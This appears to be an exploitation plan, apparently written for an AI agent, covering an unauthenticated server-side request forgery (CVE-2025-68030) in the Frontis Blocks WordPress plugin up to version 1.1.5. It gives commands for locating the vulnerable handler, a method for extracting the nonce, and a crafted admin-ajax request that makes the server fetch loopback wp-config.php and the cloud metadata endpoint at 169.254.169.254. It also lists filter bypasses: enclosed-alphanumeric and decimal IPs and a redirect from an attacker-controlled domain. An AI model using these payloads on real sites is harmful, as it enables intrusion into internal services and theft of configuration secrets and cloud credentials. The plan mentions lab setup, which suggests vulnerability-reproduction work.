Frontis Blocks <= 1.1.5 - Unauthenticated Server-Side Request Forgery

This plan outlines the steps to research and exploit CVE-2025-68030, an unauthenticated Server-Side Request Forgery (SSRF) in the Frontis Blocks WordPress plugin (versions <= 1.1.5).

1. Vulnerability Summary

The Frontis Blocks plugin contains a functionality that allows fetching content from remote URLs, typically used for dynamic blocks like "Remote JSON" or "Social Feed" previews. The vulnerability exists because an unauthenticated AJAX handler (likely wp_ajax_nopriv_*) or a REST API route accepts a user-provided URL and fetches its content using a sink like wp_remote_get() without sufficient validation or restriction to external domains.

2. Attack Vector Analysis

• Endpoint: admin-ajax.php (via wp_ajax_nopriv_ action) or a custom REST API endpoint (/wp-json/frontis-blocks/v1/...).
• Vulnerable Action (Inferred): Likely frontis_get_remote_data or frontis_blocks_proxy_url.
• Parameter: A parameter named url, src, or endpoint containing the target URI.
• Authentication: Unauthenticated (accessible to any visitor).
• Preconditions: The plugin must be active. If a nonce is required, it must be retrievable from the public-facing site.

3. Code Flow Analysis

To identify the exact path, the agent must:

1. Locate Entry Point:

   grep -rE "wp_ajax_nopriv_|register_rest_route" wp-content/plugins/frontis-blocks/
   

2. Trace to Sink:
   Search for HTTP request functions within the callback function of the identified action:

   grep -rnE "wp_remote_get|wp_remote_request|wp_safe_remote_get|curl_exec|file_get_contents" wp-content/plugins/frontis-blocks/
   

3. Analyze Validation:
   Look for calls to sanitize_url(), esc_url_raw(), or custom domain allow-lists. In a vulnerable version, these will either be missing or fail to prevent requests to localhost or internal IPs (e.g., 127.0.0.1, 169.254.169.254).

4. Nonce Acquisition Strategy

If the handler performs a check_ajax_referer() or wp_verify_nonce() check:

1. Find the Localized Variable: Look for wp_localize_script in the plugin code to find the JS object name and nonce key.

   grep -r "wp_localize_script" wp-content/plugins/frontis-blocks/
   

2. Identify the Shortcode/Block: Determine which block triggers this script (e.g., frontis-remote-json).
3. Setup Page:

   wp post create --post_type=page --post_status=publish --post_title="SSRF Discovery" --post_content='[frontis_block_shortcode_found_above]'
   

4. Extract via Browser:
   • Navigate to the newly created page.
   • Execute: browser_eval("window.frontis_blocks_settings?.nonce") (Replace frontis_blocks_settings with the actual JS object name found in step 1).

5. Exploitation Strategy

The goal is to force the server to request an internal resource.

• Target: http://127.0.0.1:80/ (Internal loopback) or http://169.254.169.254/latest/meta-data/ (Cloud metadata).
• HTTP Request:

  POST /wp-admin/admin-ajax.php HTTP/1.1
  Host: target.local
  Content-Type: application/x-www-form-urlencoded
  
  action=[ACTION_NAME]&url=http://127.0.0.1/wp-config.php&_ajax_nonce=[NONCE]
  

  (Note: If it's a GET-based handler, use URL parameters).

6. Test Data Setup

1. Install and activate Frontis Blocks 1.1.5.
2. If the vulnerability requires a specific block settings configuration, use WP-CLI to set it:

   # Example (inferred)
   wp option update frontis_blocks_allow_remote "1"
   

3. Identify a block that makes remote requests and place it on a public page to facilitate nonce extraction if needed.

7. Expected Results

• Vulnerable Response: The HTTP response body contains the HTML/content of the internal URL requested (e.g., the contents of the WordPress login page or cloud metadata).
• Status Code: 200 OK or 201 Created with the remote data in the JSON response.
• Error Indication (Patched): A 403 Forbidden or a response indicating the URL is invalid or the domain is not allowed.

8. Verification Steps

1. Check the server's access logs to see the request originating from its own IP to the loopback address:

   tail -n 20 /var/log/apache2/access.log
   

2. Use http_request to hit a collaborator/listener URL (like http://webhook.site) and verify the server's outbound IP is the one making the request.

9. Alternative Approaches

If the primary AJAX action is not unauthenticated:

• REST API: Check wp-json/frontis-blocks/v1/... routes. Many block plugins register REST routes with 'permission_callback' => '__return_true' for frontend data fetching.
• Gutenberg Block Previews: Check if the vulnerability is triggered during the REST API call that generates block previews (/wp-json/wp/v2/block-renderer/...).
• Redirect Bypass: If there is a basic regex check, attempt to bypass using:
  • Enclosed alphanumerics: http://①②⑦.⓪.⓪.①
  • Decimal IP: http://2130706433
  • Domain redirect: http://attacker-controlled-domain.com which redirects to 127.0.0.1.